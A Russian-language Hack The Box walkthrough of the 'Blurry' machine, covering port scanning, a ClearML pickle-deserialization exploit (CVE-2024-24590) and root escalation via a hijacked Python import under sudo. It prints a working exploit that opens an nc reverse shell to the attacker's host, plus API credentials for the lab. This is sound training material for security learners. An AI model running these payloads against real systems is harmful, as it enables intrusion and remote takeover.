warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.19 blurry.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Нашлось всего два открытых порта:
- 22 — служба OpenSSH 8.4p1;
- 80 — веб‑сервер Nginx 1.18.0.
В логах Nmap также видно, что с 80-го порта выполняется редирект на сайт http://
. Добавим новый поддомен в файл /
и просмотрим сайт в браузере.
10.10.11.19 blurry.htb app.blurry.htb
Нас встречает сервис ClearML.
Точка входа
ClearML — это фреймворк для трекинга ML-экспериментов, позволяющий отслеживать метрики машинного обучения, хранить и предоставлять по запросу модели, воспроизводить эксперименты и визуализировать результаты. Вводим любое имя и получаем доступ к панели ClearML.
Первым делом определяем версию фреймворка. Обычно ее можно найти на странице с настройками, в разделе описания или в профиле пользователя. В случае с ClearML подошел третий вариант.
Наша версия — 1.13. Проверим, есть ли для нее готовые эксплоиты.
Первая же ссылка из Google выводит нас на CVE-2024-24590.
Точка опоры
В ClearML используется пакет ClearML для Python, через который происходит взаимодействие с сервером по API. Этот пакет использует встроенный в Python модуль Pickle, отвечающий за сериализацию и десериализацию объектов. Атакующий может создать файл Pickle, содержащий произвольный код, и загрузить его в качестве артефакта в проект через API. Затем при вызове метода get
класса Artifact
файл .pkl будет десериализован, что приведет к выполнению заложенного кода.
Чтобы воспроизвести эту атаку, нам нужно настроить ClearML локально. Для этого сперва получим конфиг в меню Settings ? Workspace ? Create new credentials.
В конфиге есть новые поддомены, поэтому обновляем запись в файле /
.
10.10.11.19 blurry.htb app.blurry.htb files.blurry.htb api.blurry.htb
Так как будем работать с ClearML на своей машине, сперва нужно установить необходимые пакеты.
pip install clearml
А теперь настроим ClearML. Для этого запустим clearml-init
и при запросе учетных данных вставим весь полученный конфиг.
api { web_server: http://app.blurry.htb api_server: http://api.blurry.htb files_server: http://files.blurry.htb credentials { "access_key" = "9ZJL1UC8DOP3UJJRUJBM" "secret_key" = "fLPHiGutlDvkULEQlo65XlP5azqSvVTlXW7yeKJGf4rjOzAEb4" }}
Для эксплуатации уязвимости воспользуемся эксплоитом, который выполнит реверс‑шелл.
from clearml import Taskimport pickle, osclass RunCommand: def __reduce__(self): return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.73 4321 >/tmp/f',))command = RunCommand()task = Task.init(project_name='Black Swan', task_name='pickle_artifact_upload', tags=["review"])task.upload_artifact(name='pickle_artifact', artifact_object=command, retries=2, wait_on_upload=True, extension_name=".pkl")
Запустим листенер:
rlwrap nc -nlvp 4321
И выполним код.
Однако код не выполняется. Нам нужно подгадать момент, когда пользователь начинает работать с проектом. Если запустить эксплоит в это время, он сработает и мы получим сессию на наш листенер.
У нас есть сессия пользователя jippity
, и мы можем забрать первый флаг.
Локальное повышение привилегий
Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, пройдемся по важным моментам.
У текущего пользователя сохранен приватный SSH-ключ /
.
Для группы текущего пользователя доступна запись в каталог /
.
В sudoers есть запись, позволяющая запустить команду /
с высокими привилегиями без ввода пароля.
Справка: sudoers
Файл /
в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo
.
Сохраняем ключ SSH на свою машину, назначаем права chmod
и подключаемся по SSH. Так мы получим стабильную полноценную командную оболочку.
ssh -i id_rsa jippity@blurry.htb
Теперь разберемся с исполняемым файлом. Утилита file сообщает, что это обычный скрипт на Bash. Внутри скрипта выполняется /
, которому передается файл Pickle.
В каталоге /
, куда мы имеем право записи, уже присутствует pickle-файл demo_model.
, который можно будет использовать для теста.
Проанализируем сам скрипт evaluate_model.
. Сразу обратим внимание на первую строку — import
. Если мы создадим в каталоге со скриптом файл torch.
, то он будет выполнен перед всем скриптом.
В файл torch.
запишем код, который будет запускать командную оболочку Bash. Так как скрипт запустится с высокими привилегиями, при запуске evaluate_model
создастся шелл в контексте пользователя root.
echo 'import os; os.system("bash")' > /models/torch.py
sudo /usr/bin/evaluate_model /models/demo_model.pth
Машина захвачена!